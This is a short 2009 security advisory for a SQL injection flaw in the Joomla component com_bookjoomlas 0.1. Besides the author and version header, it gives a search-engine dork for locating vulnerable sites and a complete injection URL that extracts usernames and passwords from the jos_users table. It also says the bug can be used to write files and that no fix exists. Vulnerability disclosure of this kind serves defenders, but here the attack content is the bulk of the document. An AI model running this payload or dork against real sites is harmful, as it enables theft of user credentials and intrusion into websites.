Joomla Component com_bookjoomlas 0.1 SQL Injection Vulnerability

******* Salvatore "drosophila" Fresta ******* [+] Application: Joomla Component com_bookjoomlas [+] Version: 0.1 [+] Website: http://www.alikonweb.it [+] Bugs: [A] SQL Injection [+] Exploitation: Remote [+] Dork: inurl:"index.php?option=com_bookjoomlas" [+] Date: 06 Apr 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@gmail.com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] SQL Injection [-] Security risk: low [-] File affected: sub_commententry.php This bug allows a privileged user to view username and password of a registered user. Like all SELECT vulnerable queries, this can be manipulate to write files on system. ************************************************* [+] Code - [A] SQL Injection http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 UNION ALL SELECT 1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 FROM jos_users ************************************************* [+] Fix No fix. *************************************************